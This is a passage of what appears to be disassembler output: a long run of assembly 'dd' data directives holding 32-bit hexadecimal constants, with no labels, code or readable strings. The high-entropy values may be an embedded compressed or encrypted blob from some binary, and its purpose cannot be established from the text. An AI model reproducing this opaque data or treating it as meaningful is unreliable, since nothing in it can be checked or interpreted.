84C5E9Ch, 6C91B497h, 0C01CFD80h, 0A46049D2h, 0FF1A2519h dd 40E4A6B3h, 0CA18E7A1h, 3F18C2D8h, 90BC48A3h, 5AC087C8h dd 2125FB19h, 7A91F667h, 16D26100h, 47CF911Eh, 0DE2DA700h dd 0C73CB7C9h, 2F0B0AFEh, 80C4C4EEh, 0E2578406h, 311ED2A6h dd 27AE994h, 524EAF5Dh, 2E60419Fh, 0E0040518h, 83183F5Bh dd 0A220F532h, 2AE00Bh, 66E2F3C4h, 0EED474E9h, 8521D260h dd 372196h, 3263705Bh, 0B9D33678h, 31686E06h, 1295713h dd 0D62D0CE2h, 0F03DFB8Dh, 140299F4h, 30B7B603h, 8098625Eh dd 5D3FE3B4h, 9BA0A0F5h, 0CC132092h, 7357C915h, 0BF6B0C88h dd 612B59C8h, 0D32C61D4h, 0F6E9C4E4h, 0DD08EF07h, 4CB6DADh dd 9CD040A8h, 198AFA3h, 0B79FCD39h, 8C97C6A2h, 20E31708h dd 98880002h, 8136AC15h, 42001A30h, 4161ECA8h, 0A72E78Dh dd 442E33CDh, 9C3111A4h, 3F5AE001h, 0C60C82F0h, 4029788h dd 530D59E0h, 0B904969Fh, 2308DC48h, 196400B1h, 0F7B725FDh dd 63724486h, 0B2195C0Ch, 7C5A0CE7h, 58C90C7Eh, 91204596h dd 2DA091F7h, 0A441392h, 0C4F4100Ch, 6A340F0h, 32691E0h dd 31846BF2h, 8EDC644Bh, 0C0FB8818h, 625F3034h, 0CCB00C05h dd 0C0414118h, 6E8F4746h, 24539C60h, 0A4E8401Dh, 8E690518h dd 63EC20EEh, 700F928Dh, 635E5A5Ch, 797FE278h, 0F0566138h dd 2448E57h, 0C0986D07h, 47408109h, 0FAB75000h, 0CEF78E62h dd 0EC5B5910h, 462F730Ah, 608D44D0h, 230116D8h, 7311D726h dd 16D05F00h, 0B5899A49h, 84F54E3Dh, 0B9D0FD6h, 0B02FFCC2h dd 38DFFEA8h, 224644D8h, 89D00EEh, 75B9B7E0h, 0DF7F9625h dd 3A93A93Ah, 949C249Fh, 37E61E05h, 0D2D78C01h, 89891358h dd 0D090C16Bh, 5118A34Bh, 0FB30800Fh, 22C915E9h, 9453CC59h dd 0A0330FA2h, 508F70C8h, 521D9869h, 1413E822h, 0D037105Eh dd 0D09EED0Bh, 7F3790B0h, 3A4EB111h, 1597C088h, 0BDF3A003h dd 0EF0970Bh, 0AF52D45h, 0C1DA254Dh, 6FAE03A4h, 78006AF7h dd 0FEE81E1Ch, 9ABBBFBh, 2E679B5Dh, 5714B021h, 7859AC48h dd 8044D214h, 4EC37F39h, 229F430Ah, 32171DC8h, 0E7C90A7Fh dd 2AC3408Ch, 44B8EE38h, 0B4676E2Ah, 0ED834100h, 4F8F1AFEh dd 0FBF50073h, 5D4DC9CAh, 0EF500BBAh, 28C01B0h, 0CD3B98B9h dd 1219B84Fh, 98B20C10h, 0DD99EE02h, 0C72E6B57h, 6077C41Ch dd 3CB4475h, 672F043Fh, 0E0049239h, 48853B45h, 0CD362080h dd 0A2072810h, 0DC0C3FA8h, 2D2ECC8Fh, 80F81496h, 8C6CE8h dd 63DFB772h, 10442693h, 4044E55Dh, 48CD1C4h, 4EB87F34h dd 2DEC3912h, 0DD04097Fh, 189038ECh, 0D10F8657h, 449CBED7h dd 7497EDC2h, 6E625057h, 0C81440F2h, 4B1F2048h, 7A16FB78h dd 2801AAA3h, 1AD9B8C3h, 338C2824h, 0DBA1DD4Bh, 0ED4D7906h dd 3020E122h, 731985EEh, 70523DB4h, 0E29BF1E8h, 1C00E00Ch dd 71D74CD4h, 72E45719h, 120D317h, 12C58A30h, 631081D0h dd 0A4F94FC1h, 0E482D044h, 2A2223CAh, 0FC11EFD0h, 0B1648C01h dd 0E23FC6F6h, 41006213h, 652BC125h, 0D7F196h, 2EF77301h dd 0E7854164h, 10C6D8A8h, 0D3003892h, 0CB15526Ch, 4E0F08h dd 77A8B487h, 3874BBA2h, 16CE7A00h, 50AE3BE8h, 0E185EF9Eh dd 44D05814h, 90A37398h, 0ABCD2700h, 28916A00h, 92E803E5h dd 29AC2CDFh, 0D128A99Ch, 0FA187Ah, 0CA36277Eh, 0CB8E9415h dd 0F94CC530h, 5F9994Fh, 6718D1EAh, 0CBD48C9Bh, 0D0D59F3Fh dd 70F095A4h, 8794B24h, 0E0207417h, 0A778B1h, 5CB27B21h dd 525D4AE5h, 24B00E5Ch, 1DA50C40h, 87C111F4h, 0F07C36B3h dd 76D526F1h, 802E0055h, 0AA3478F8h, 82D84B13h, 0C20C1008h dd 0CC4198BAh, 30C03697h, 9303219Dh, 0D7190098h, 0FC3AEF2Dh dd 1D124FF0h, 90196C14h, 0B5180550h, 0CD379808h, 0E318C2AFh dd 988E000Eh, 78754h, 618D4DBDh, 2B7AE7FEh, 63DCAF50h dd 57C2670Fh, 7EEE8087h, 0CAC0C7h, 482892ABh, 4547BF93h dd 42B4A051h, 422FC1C8h, 720FD99Bh, 0CCFF5544h, 0F4A25063h dd 8BC130h, 0BD7954A7h, 98C29DB6h, 76A1B460h, 0FD2DAA6h dd 3802F1Eh, 0EED1CBBh, 5383D1B0h, 0A005F649h, 7E78CD35h dd 0ECD928D0h, 0F4DE4822h, 0F770CE06h, 4D7A1883h, 1802A4A1h dd 3C9809B8h, 2045A7CDh, 98B10187h, 0B50E0700h, 0C98F0004h dd 1A14D07Bh, 7D014482h, 7A1FCFE7h, 0B89EC12Fh, 0C0A541E2h dd 809EC718h, 1012DC78h, 9E80893h, 0A28C1A83h, 0F54F2801h dd 9D0DF4D3h, 1064405h, 1C32BF37h, 53D70316h, 0CA069096h dd 0D4D30C78h, 0D8B216E8h, 63C81EBBh, 0BA7F3602h, 7160424Eh dd 2F1C4058h, 0A673897Fh, 0A9F71A18h, 39DF27B8h, 4F8B83EAh dd 2425F4EDh, 23982F70h, 99F20018h, 2F5A85CDh, 96F1571Dh dd 0BC48CA97h, 195DC08Ch, 0CF5C25FEh, 0D558E0ECh, 646F0016h dd 93B035D9h, 0CC28C3D6h, 0B490481Ch, 0CAEAE509h, 0C3BCC05Ch dd 6F4A950h, 9808B418h, 0C687CD38h, 50E219Ah, 414C988Dh dd 0ECFDCE96h, 38F62BE0h, 86AC5394h, 0DCECAED8h, 0C2260206h dd 28A0CB70h, 52201F25h, 12C0049Eh, 63F2B36Eh, 7A66200h dd 0DBAB6A46h, 0A8F813h, 0B6A909EAh, 88430AEFh, 630739h dd 0AF64DB7Fh, 641EB92h, 8F3866Ch, 20989A62h, 5D4FD709h dd 0E7DC0218h, 79045983h, 12F218F1h, 4329FC5h, 45777F54h dd 0D4C14E11h, 0EE436Dh, 300CF4AFh, 0A423C70Bh, 256825D5h dd 0ACB1E784h, 0F6D3BE4h, 9BD1957Ch, 2003AE60h, 0DC49C77Ah dd 73E802A4h, 9CA386D3h, 6FA22320h, 92434105h, 195BD060h dd 0FF261004h, 0D35EB0F6h, 10E7FA16h, 8D5C8CAh, 886C53C9h dd 73804EC5h, 0DB8DB954h, 0A22C02E9h, 89C3E32h, 71E46845h dd 0CECDEB60h, 84CF4014h, 21921FA0h, 0D1804CEEh, 6B819763h dd 48B9FCB4h, 0E72D6854h, 5680940Eh, 0FC5ABD2h, 2BE340h dd 0BCA09D74h, 455CB7C1h, 0AE67DA00h, 0D96226A1h, 0EF700CDh dd 0F6BA5D69h, 0D4E6EF1Dh, 8E0D9101h, 0C056E9AEh, 18617882h dd 0ECE04592h, 98C167AFh, 2AA21D3h, 1ECA9DE4h, 0BE118540h dd 53C00C5Ch, 0AF30B26h, 0DD2529EAh, 918C17ADh, 78809C18h dd 6CCA2730h, 0EB4704C0h, 0A2D7A536h, 3073F290h, 7BE4B96Eh dd 19C6A2F6h, 970139Eh, 0CD2A662Eh, 8EA8B420h, 0E40E52B2h dd 0E7D9109Ah, 0A0D3F139h, 9809EDC9h, 73388330h, 0A5490772h dd 506B498Dh, 30E3253Fh, 0A1A49B03h, 983C7B34h, 18422EB7h dd 0E1C36F61h, 9C1FB843h, 0B5050E83h, 8040C73Dh, 9E5109C8h dd 29BF60EEh, 0E4798D95h, 0A3A08600h, 38937DF2h, 0C44C490Bh dd 0B01E1B00h, 6C04EB41h, 0C4C8C358h, 1CE089A3h, 16251D46h dd 6724CCh, 889F5256h, 6B0A6E91h, 0D0FB8362h, 0D1A6730Ch dd 4178C6h, 82FA4D94h, 0A5539BF4h, 0C28DB26h, 5DDFFFC0h dd 2208463Fh, 1C9C4CC6h, 534BF102h, 94627C21h, 0C2703053h dd 0F4397244h, 0D0AA609Dh dd 90C03BE7h, 5328A060h, 0B81ACA1Dh, 4C23F688h, 4C1708C4h dd 0ED4000A5h, 0DDE7D59Ch, 0B8653080h, 2D646F0h, 4EAF7F35h dd 1B001C2Ah, 0D7E67F2Eh, 1B3EE31Eh, 884A2D9Bh, 50898EC0h dd 0C422ED12h, 4B819802h, 15E04973h, 8CB03C30h, 0FA195905h dd 6C8EAF25h, 16D15C0Eh, 1E685AA0h, 0E51F2CF4h, 0D7819DA1h dd 425860ABh, 2AC8FCF4h, 3E4BC31h, 0F8390BF7h, 0B100CE2Bh dd 1DB44FEAh, 12120EE0h, 601EEDCAh, 0B2D1ABE0h, 840FD623h dd 0B06AED53h, 4710F6A8h, 0D917A11Bh, 866C0AADh, 0D0540BACh dd 5A304E0h, 0F87FA72Eh, 19B3948Ch, 4D5D203Bh, 0E28430CBh dd 70307B1Ch, 0AE04A522h, 919C67EBh, 13D088CCh, 80F5433Eh dd 5C92466Ch, 158F093Bh, 84D224h, 67893E28h, 59E0DFh, 0A82A857h dd 0C86A7605h, 1858BAA2h, 0BAE9CD0Dh, 941858E8h, 0DC1D094Fh dd 30C00C50h, 0C48347A3h, 0FE26D881h, 0EEE28C23h, 0BD5830h dd 4E57C82h, 0A02A1ACFh, 0EFB85601h, 0E2D9CE87h, 600491A4h dd 13AA03F5h, 0CB276A00h, 0DD459018h, 53440AEBh, 2844269h dd 0B220C2DCh, 0ED8DB882h, 0C2716459h, 0CA28A718h, 0F500DA44h dd 0F44F031Eh, 16CBD7C3h, 40D63E4Eh, 0ABD58638h, 0BC8815C6h dd 0C26B0736h, 796B93Bh, 5FA60332h, 83CB5680h, 704D1101h dd 0C82F0EE2h, 0B4FE5681h, 0F41D851Fh, 4E719EE5h, 79F35000h dd 0B714916Bh, 0EF3307D1h, 463489DAh, 0F8002167h, 0D4A99175h dd 982A993Bh, 0F4DB3FF2h, 0E537141Fh, 0F30682D6h, 1F30E528h dd 0A6304E59h, 67D70077h, 0AFCF4A6Fh, 8022D1EFh, 910C1521h dd 4B2CE7h, 0D0435084h, 9E8BDFD9h, 0E794060h, 7CAEFE39h dd 0F93500C0h, 711A4BDCh, 0CE00BCB0h, 4E7DC88Ch, 0E2785A1Dh dd 535080F0h, 0EA0A2C1Fh, 5428FF80h, 0E8290F76h, 205A60C1h dd 0C20A04B5h, 877BF139h, 81403286h, 5F8AF4D0h, 60A3EC50h dd 0E62EC94Ah, 0C003302Fh, 0CD4E4FC3h, 3A083013h, 2FDE8421h dd 94C2283Ch, 5C3E9Bh, 0BF914B0Fh, 1C2EF622h, 1D786385h dd 0DBAFC06Eh, 9B8C0662h, 32314365h, 0CAB73680h, 0DD8100A6h dd 5E1B558Bh, 0ED006B5Bh, 36B0B87Dh, 54E638BAh, 0ACA023h dd 0BF0FFB84h, 0BE21DD4Fh, 81A07E00h, 0DEDBEAF4h, 5E700316h dd 55771D78h, 6E0A6900h, 0E4C334E6h, 8350CA35h, 800311DCh dd 0D76F910Dh, 0A06877Fh, 25C8E85h, 0F765BFACh, 41415DBDh dd 0F842D858h, 0FF005779h, 0B09011A2h, 64F7663h, 3F85CB2Ah dd 9467028h, 75910B06h, 388968D7h, 83101028h, 4726008Eh dd 3E514D2Ch, 203087F4h, 5060C019h, 2D8AC86h, 0C0272FE7h dd 0D41B52DBh, 60DF8D47h, 669153Ch, 564D3701h, 2B14C3B7h dd 0D0C009CFh, 30304839h, 0C30B87Eh, 5F4B702Dh, 77F4A49Eh dd 52610033h, 825E96DBh, 9273C5ECh, 8A940E01h, 436E36EDh dd 24C0408Ah, 80801158h, 0C0292FE9h, 39448CEBh, 2FE10287h dd 0FE7253FAh, 0D7BC7048h, 0B1CF5700h, 125F3858h, 6EC41878h dd 1115C051h, 32598C06h, 7A94F9Bh, 766C3DCBh, 0D0594CA3h dd 0EB001FF4h, 0AB326298h, 166FDh, 34A76792h, 14E06DF9h dd 244E8C38h, 0C486A078h, 2A4130C2h, 0D01AE6h, 0A006D8CDh dd 9149A651h, 697C8809h, 54180DBh, 140DFF3Eh, 0FC996B32h dd 88E07703h, 490B389Ch, 316E8Bh, 583BFD73h, 0D7AF00D2h dd 41F9712Dh, 1C0CEE87h, 3145A3A6h, 0B139096Bh, 10043D2h dd 0C3E86F0Ah, 2160E6F6h, 3F898891h, 0B3383DDDh, 53B24001h dd 0F02A2292h, 5069971h, 4FC441ABh, 10ED0A31h, 93BCC032h dd 60E20064h, 1742D776h, 0E8742E4Dh, 7B008C27h, 0DD1DCEB7h dd 4F7C7602h, 59CEE1AEh, 0A1DC0134h, 634430BFh, 0B33DCF00h dd 84E4829Eh, 4EB4C32h, 26FD1010h, 465E5460h, 3C860035h dd 9A912D99h, 28F14977h, 5331150Eh, 0C8199020h, 5FCEE6Dh dd 9080458h, 0C7FEB4h, 98728E2Ch, 0F888A023h, 4040AD5Eh dd 82178093h, 0CABBB501h, 5086858Dh, 0EE23E0h, 0C2B1AB7Ch dd 2A5F7648h, 530293B8h, 0F74252D4h, 16C4941Ch, 0C00B2DEEh dd 0DFD4B248h, 6C1BF42Ch, 0DC18F75Eh, 74ECFAF6h, 7763DF0Bh dd 561420BFh, 72E017C5h, 0CCF431h, 7CD0358Ch, 0E5443710h dd 3F87AD0Bh, 851C1127h, 2F04E218h, 52E3C02Ch, 88223232h dd 43F200DAh, 5600F8C2h, 0C82DACBCh, 2117A3Dh, 887E0D38h dd 0F8802994h, 6A56CEC5h, 0EC788158h, 0B7008CC8h, 0B356E39Fh dd 0D18903h, 0FD515581h, 1FF07E46h, 923441EFh, 36C01E65h dd 68AC8666h, 26BFAF05h, 0C8217D1Dh, 11F0C217h, 0B9F53CB6h dd 30E4FE12h, 6C910AA4h, 6E17D716h, 133C2Ch, 2EF58E82h dd 0DB288BC1h, 0C96BAB04h, 884FD96h, 2300EC14h, 916C00DEh dd 3459B709h, 0F7664486h, 1F917239h, 90072025h, 0F560ACF9h dd 0C056E0E1h, 6348EB79h, 2A3D0C60h, 0FD35016Dh, 8ED43E99h dd 32316996h, 80377BA8h, 0FBEEFF21h, 2C04CAA3h, 0E3F7F8BCh dd 77E7D480h, 53C80046h, 5B997E4Fh, 74A51C11h, 49606864h dd 0CE05D3F8h, 30981B25h, 4C4CA48Ah, 8C32B8h, 0B234FDE9h dd 6BBB79D3h, 6899F273h, 0E5A17680h, 0B04422DEh, 7928A19Ch dd 0A4C2718h, 2917126Ch, 0B2282Ch, 0E97209FFh, 3E57323Ch dd 0E5159824h, 9B276E00h, 0B2813882h, 811DFAD0h, 7E6027BFh dd 0A32058Ch, 220F7DE8h, 0B327C738h, 0FCB120FEh, 17B73F96h dd 3F7FDEAh, 0FB8C88DDh, 56A66108h, 4D467C6Ah, 91CA3200h dd 4577628Bh, 48145237h, 0A2DC068h, 27467DE9h, 0B0004A22h dd 0E0200A05h, 3E6BDA3Eh, 84079C72h, 0F056D467h, 996AA3B6h dd 46A2C815h, 970303D8h, 95EE288Fh, 203AA882h, 0F69BD643h dd 0AE631D00h, 465620F5h, 0A16100FAh, 4E86A527h, 0C2722C62h dd 55B91100h, 6328C89Ch, 21AEC82h, 1D8B0170h, 484CDA4Dh dd 0D3A91F8h, 3D22C6B7h, 91771300h, 0D256B68Fh, 14064BCAh dd 0DF23E028h, 0E02D024h, 653481B7h, 781A80E0h, 0F43DD291h dd 0AF3F9301h, 4B6F1D5Ch, 42A2218Ch, 0D00B3E9h, 300EC2B4h dd 2EAE23BCh, 0E99C0CE5h, 4A11781Dh, 7B2E4480h, 3B0970C2h dd 8E07CCC8h, 0B009BE61h, 0D8446Eh, 0AB388A36h, 0B868A321h dd 0F4CD1F00h, 0F9F22406h, 58CB02EDh, 42993BC8h, 88039C62h dd 43F16530h, 14B040F6h, 0D0032490h, 3419CF0Dh, 17B78175h dd 837DB891h, 0D2E70A33h, 104D31F7h, 1D0A0BB6h, 406BF5F0h dd 5128B2D2h, 842E7AFCh, 4717839h, 6B88818h, 6887D726h dd 11402CC4h, 0FA0D8E80h, 0E0C88507h, 0D6A0325Ch, 0A9397820h dd 0E4F640CCh, 2E09BC0h, 5C5AACC2h, 5F1DC885h, 86B40618h dd 3E6184Dh, 370F1900h, 0D2C4B6CCh, 2C5182C0h, 0F4192779h dd 75011CC1h, 0E87E0456h, 0CD005374h, 0F0094992h, 84B33290h dd 7161E3B8h, 61AA6091h, 0EC02CB1h, 0E09174h, 5764166Dh dd 45854323h, 0A3263FE2h, 9E935C92h, 0A47E0090h, 59F4380Eh dd 0C2F6DC01h, 41F902C4h, 20F399C0h, 48CE18Ch, 0BC88916Fh dd 206C6271h, 0B4917A14h, 859BD300h, 707255E5h, 99DF70A6h dd 3A4F1394h, 4A2360h, 37BA01BFh, 0D87326C0h, 8C0D860Fh dd 3456C0DCh, 646AD6C2h, 0BAFEE04Ah, 2C88CAC5h, 9C6B4C5Eh dd 788C4CF8h, 0DF3C0247h, 1FBB2298h, 1EA25440h, 0E54B2492h dd 0BF980040h, 94B1FDh, 5EEA72D5h, 0E4A5C03Ch, 39C50800h dd 0C4B7C3E3h, 1EF9080h, 8D341D43h, 80F9777Dh, 4FF57491h dd 0F1215B3h dd 0FDD18C2h, 0FBD7E9C1h, 1CC460BFh, 71797899h, 2FFA9918h dd 5D3BBD07h, 0F39A6B4h, 507A635Ch, 0B6D00C41h, 1997EACh dd 2A6188F8h, 2BC00918h, 80E07991h, 0B70B9176h, 19008789h dd 3861917Dh, 3A8B0510h, 4018E50Ah, 405A6B94h, 8E2B56Eh dd 1CD89E01h, 0F5CE3E09h, 3A818451h, 4EEF5C70h, 23B42F6Dh dd 270B0032h, 0E39E6D70h, 40008170h, 0BDB1550Ch, 12424D96h dd 8EDB3D8Bh, 0C13D88DCh, 803C9C87h, 0AC4DF571h, 0E8569E57h dd 0CDDA0024h, 0D75D2708h, 3B56E472h, 0CC0AF234h, 20E10814h dd 30C0745Ah, 5C7DEE0Ah, 0B1E02C1Fh, 66000A28h, 7881C495h dd 74D29A7Eh, 70901059h, 14EC7F19h, 2961527h, 60564DBCh dd 0E23449F4h, 0C17E036Eh, 4EB89078h, 8F4B303Ch, 17813D5Eh dd 1000206Fh, 0D637B7ECh, 0E302DD3Ah, 0CE41BFD5h, 99104851h dd 0C4CB023Dh, 430B6268h, 1827B061h, 6B910409h, 326F5FD7h dd 810E2025h, 0BD04F68Eh, 0D43EC0DAh, 0A86038E5h, 0D613E138h dd 0E00C5CA2h, 5F1E44ACh, 0C0967D03h, 2D6EA6CEh, 5C393120h dd 50E180Ah, 0B7D77091h, 0F48706Eh, 67138E86h, 8A0CCD8Dh dd 0A01953h, 0F5A824C2h, 0DFB6DC2Eh, 5C00864Fh, 0E86F8A78h dd 0C1A0AB77h, 7424C55Bh, 5E88386Eh, 0C41AC083h, 890043D5h dd 6BC3DA7Eh, 415E870h, 0B069CD32h, 15CE351h, 0BD88AA75h dd 0F630B87Ah, 0B0394883h, 0EB008223h, 0BBC03B2Fh, 3444864Fh dd 2FE31C89h, 91AD133Ah, 0CA20C40h, 3D2F0AEDh, 5020CBC0h dd 2F00E583h, 76220579h, 2FABAB1h, 0D6C0D1D0h, 0B88B36C6h dd 1E7EF80Fh, 11DD272h, 0EE9974A0h, 0C5083D58h, 602B5F04h dd 5F053223h, 0E7C08725h, 8E4DA7h, 6CF630Fh, 2BF7B03Fh dd 7C34C62Eh, 0D6568C0Eh, 956824C0h, 19833B6Eh, 28427717h dd 0CFF45758h, 0B6122894h, 38B26074h, 0C53029B2h, 0BB1A05B4h dd 0C2411487h, 14515FC4h, 1A184C79h, 5B0CD07Eh, 0A1C342D7h dd 9ABAE2BCh, 2054902Ch, 17001B28h, 38903DC8h, 5092D304h dd 0CC859h, 12F75552h, 8611A51Ah, 1D7B8C01h, 0CF6C70F8h dd 0FCADD430h, 995FE087h, 183679D8h, 0FF120263h, 0D33E7F1Eh dd 7600D844h, 2AFDAA9h, 2086BF6Ah, 209666BAh, 6480C5E9h dd 575E6035h, 836502B2h, 1072FF1Ah, 40154050h, 0BC454CEh dd 0CE5D2C1Dh, 71C091F8h, 3D8518C2h, 4D241814h, 31467C98h dd 73431501h, 0F07449C3h, 45875B6h, 0DC1C2AE0h, 1A20DCB0h dd 0CAD712EFh, 77904BDAh, 0D9112019h, 4CC46DD4h, 5179C0C8h dd 397B2557h, 1C9E223Fh, 0CF6541BFh, 6C0335C5h, 39229Ch dd 6E863245h, 35938274h, 0CF1FB100h, 5D6A838h, 171D0067h dd 0FF3B379Ah, 64981925h, 2A5F7500h, 0CFA115B7h, 70E89BB9h dd 0A3028385h, 429EBF65h, 0E04455Fh, 60768D3Bh, 9576E01Ch dd 0F3EDBD16h, 248C6CC0h, 542C98F6h, 264090A0h, 888410Bh dd 354B88A4h, 0F1518738h, 0D17CE757h, 0CA497DF9h, 50B69C80h dd 1802A620h, 2D83740Fh, 646CE875h, 59E52E99h, 764760C8h dd 0AD040779h, 67C228C8h, 4BF2B0B2h, 0E5EC6331h, 0F65D0B33h dd 0B040C8E6h, 94E2CEC1h, 0C4006490h, 0C9FFF89h, 0A81FE035h dd 0E1C9B4h, 0CC208496h, 0BF196311h, 90A55600h, 0ECDF9188h dd 0E0A010Ch, 3FDE5A03h, 0B85C39A0h, 354900B4h, 0F54FDC37h dd 5D00BAEAh, 8360C2C5h, 886D3Bh, 55BC48B2h, 0D28CD34h dd 99E46375h, 0BA278D79h, 110C17B9h, 9D088029h, 91C543Fh dd 0E07C4122h, 0E8C0DC4Ah, 860ECD33h, 43E8A138h, 0D1171976h dd 2DE0853Dh, 0B45A1781h, 0F2D4C496h, 3023F2B4h, 7D2E8035h dd 5A1F2C83h, 19E773E0h, 585E6AC4h, 1831A61Dh, 274674h dd 0EA33740Bh, 175DDDC3h, 4AFF7CE7h, 3389E68h, 27CCE878h dd 0A34D1805h, 64A459A6h, 14304044h, 1278493Ch, 1C421BD0h dd 7D53A6h, 9B480E7Eh, 25072A16h, 4A147440h, 2A430A3Dh dd 1CF4A087h, 18E1EEE0h, 3CF3112Bh, 0F0C40E13h, 802F191Eh dd 0A3801CECh, 0CF6F884Dh, 31753030h, 713471C2h, 38974C3h dd 0C8152DBFh, 0BA185F81h, 0EF18B693h, 0B9ED2F50h, 2B118C97h dd 6BCBAB80h, 7400D417h, 117046D6h, 9C94C078h, 0F46D1454h dd 8C27E8h, 74BF1F11h, 907880EDh, 0A42AA82Ah, 81C08648h dd 5CB1C07Ah, 5163830h, 0B657D803h, 1B78C204h, 8EFBC00Fh dd 0E41D559Eh, 0CA830003h, 0D402EF98h, 88187A45h, 0C1408507h dd 792E34D6h, 9380BB58h, 12A4F272h, 0E28E9CA9h, 306CF2B8h dd 0E40059C8h, 0CE45848Dh, 3497688h, 6687D853h, 0F10C2DE5h dd 3954791Dh, 1068649Eh, 0C7404443h, 4F0E8A4h, 9D3E9115h dd 0E214D0F6h, 77240DB5h, 0AA8210C6h, 0D7DB2E47h, 0C9BA2FE0h dd 7DFC1400h, 0BDCEC335h, 0CD509B2h, 9400C867h, 0C73C6250h dd 6040866Ah, 301DF300h, 1AB67FE0h, 0F12E880Dh, 0FAA46C82h dd 670F640Ah, 1C015692h, 6FE8727Dh, 0D2507570h, 4C8B0220h dd 209E7A0Ah, 25DE4A23h, 46BFC817h, 0F61EE203h, 97FAC5B7h dd 0EF00ACC4h, 0DB61861Ch, 38DA3D53h, 0E800628Eh, 8BA296B1h dd 0F1173303h, 988B5FCCh, 39C03588h, 2884231Bh, 0F1D430CEh dd 5FC2C017h, 68393383h, 8D479D99h, 0CB93602h, 10147A07h dd 181BB322h, 4E59499Ch, 4600B047h, 0A310273h, 0B1C77DEDh dd 0BC13BF80h, 7E220AD8h, 3003F026h, 39A2CE41h, 4BEC2838h dd 1F7C078Ch, 979E357Bh, 5C50F987h, 0BC8DBE0Bh, 8306820Ch dd 44BCE7CBh, 0A77A6039h, 632A139Ch, 0D7E49327h, 4026FCD9h dd 0C801CF08h, 0BA387501h, 42EC4B7h, 0C684071h, 8C2CBCh dd 3E5CB749h, 80C7CEE6h, 0C8777E25h, 4565C0h, 218820C9h dd 0BC93C2A0h, 0A0A2C422h, 14BF43E9h, 0A8635686h, 6D0A2577h dd 0B301B864h, 22ACEB8Fh, 3862E55Bh, 8D8B017Fh, 0A6CF7DD6h dd 21BFDC97h, 7F4AC12h, 1D0098E2h, 0C7EFBE47h, 2003DC88h dd 56F17CFEh, 67C0F4C5h, 4E15E680h, 0C8648BCAh, 0E170C036h dd 755CA2E8h, 0E87C58C0h, 6008C4Ah, 0F3D0FC21h, 171EBE9Ah dd 909711DBh, 0D3E7BDC4h, 18794C00h, 34366BAAh, 4D1C2553h dd 4C0ACCDh, 76980D9h, 9011655Ah, 0E7F4234Bh, 40421FD2h dd 3179AC59h, 1F009418h, 3C3A5ECh, 497287Bh, 0BF2A34C4h dd 1358A022h, 0F07A4D04h, 0E0E3A239h, 72C0A8B7h, 2FB32E6h dd 0B11FDB23h, 67203BA2h, 0DBE85h, 30E56909h, 16F746B5h dd 9E26B1F2h, 0DB801C44h, 75FC9BE4h, 909D00FDh, 9F1E7FABh dd 0D3078606h, 4D6EE255h, 20E21D05h, 0CA3067E2h, 4CE706FDh dd 0F8366872h, 434BBC7Dh, 0EB777003h, 9B301838h, 0C826395Bh dd 81A47616h, 542A841Fh, 0AC00EEEAh, 0FA26CD52h, 12E793h dd 0B191EB61h, 7EBF3876h, 98719A24h, 0CCF0902h, 60C8E86Fh dd 0FC1D81FCh, 0C2804DA4h, 89FE67BCh, 1BAD2E37h, 0F06498A1h dd 805AC5A1h, 7C7B19CEh, 804A9A3Eh, 0CC1FDC3Bh, 38A5AAEFh dd 0FC009DCDh, 0F7B1130Ah, 9034CF37h, 28AC695Bh, 0B8C67BCh dd 573E584Fh, 99323086h, 818DD02h, 0C8DCC94Ah, 914F0C0h dd 13AB7990h, 0D05E5884h, 782DEEF4h, 15EF2801h, 37730CD1h dd 2650EC70h, 4104CEC4h, 386E8327h, 619E18C4h, 30ACC281h dd 954854B2h, 1129872h, 94F4E0h, 0A347C582h, 78C077ACh dd 64BF2519h, 0D3035401h, 0E08AFA92h, 115087B4h, 0CAD630B9h dd 0D0D74736h, 0B80489Bh, 0D384D92Bh, 7167BE00h, 4D4B6E76h dd 3E5917F4h, 783C9099h dd 9C246352h, 46745C08h, 2787E72h, 23530A00h, 8DE144C2h dd 6F1D0549h, 0F6504CF2h, 0AF78F1A8h, 0CB2053E1h, 0E920E9CEh dd 381249C9h, 8877DE04h, 6B34A090h, 0E7F3EF06h, 210201Ch dd 0D7458664h, 0C0E6CA3Eh, 0EE096DECh, 18329733h, 134658h dd 80442CBCh, 6A197F55h, 9DD93800h, 0F1EC0BC8h, 0E0680011h dd 0DFD8B916h, 90008C88h, 3E2D7D82h, 2C2F13FFh, 2C04E86Fh dd 3A467454h, 0D34D5802h, 30494B22h, 2041A8B5h, 7856BF20h dd 0D8979580h, 0A8806691h, 0CBF0AE22h, 0E2001E7Eh, 8D630561h dd 13E38C9Fh, 0D0A213BFh, 4FC6D990h, 0C95AE516h, 0AAADE300h dd 1A77D18Bh, 384765EFh, 1970F860h, 37547212h, 0E93A5002h dd 5E385EBEh, 677C246h, 0AB14C3B6h, 1D3EE8BFh, 55E09221h dd 0EB408840h, 2D13CB24h, 0FCA98CB5h, 0A58034B7h, 0F7FE261h dd 0E61E0048h, 42D2A647h, 0BC802E83h, 2EBA4B0Ah, 1E2380h dd 949E3362h, 787253E5h, 95456304h, 0BCE8F656h, 8C2CBCh dd 0EB196526h, 8668CDBAh, 0C3779E15h, 0E532039Ch, 88E630B8h dd 0F6F2A80h, 0B97ED3Ch, 7862E320h, 37485C88h, 0A16C0384h dd 3F44BDC4h, 0D0090C81h, 680142C7h, 0C9EE770Ah, 0C464209Eh dd 4C43BC4Eh, 0BC0BE870h, 15C1DCF8h, 729B3EC1h, 0DA5E2EACh dd 0E50C682Eh, 5CF62957h, 0A000B4B6h, 4D5A77ADh, 204DAF22h dd 0A82E5F64h, 0AE006B23h, 0A276A512h, 4D65062Bh, 51493F42h dd 11149795h, 0B937803Dh, 91A59B0Ch, 0C9400BACh, 104050EAh dd 90004AF4h, 283C055h, 121A2B91h, 362F68Bh, 0E0248FD0h dd 0D40131CEh, 94288904h, 5DF0C58Eh, 73A778A5h, 3E3B06AFh dd 8053E8D1h, 2456C458h, 11277020h, 4BE161C4h, 64A5CCh dd 41E5D8F9h, 1D04D94Fh, 5C5A2804h, 7C888D67h, 12A2EC64h dd 0CB94C227h, 0C04AC844h, 0CE2A33B4h, 8469F439h, 9BBB1A86h dd 0A3835C81h, 0C5001C29h, 571B56C6h, 9E00247Bh, 31BC7280h dd 5FEBEE6Bh, 26806EB4h, 9B0ADB3Fh, 0CC80C837h, 0A3A113E7h dd 2FB3017Fh, 1B0B257Bh, 6C784097h, 0ED0F12EBh, 109A9C4h dd 2B22D6F6h, 3130012Bh, 0C8B665C8h, 5805C12Eh, 0B0D83EB2h dd 4D7890D0h, 9031020Eh, 0FC877A36h, 541D94A9h, 780C711h dd 895F13Dh, 0C4397100h, 0CA9E7803h, 0D95CB98Ah, 35C186Bh 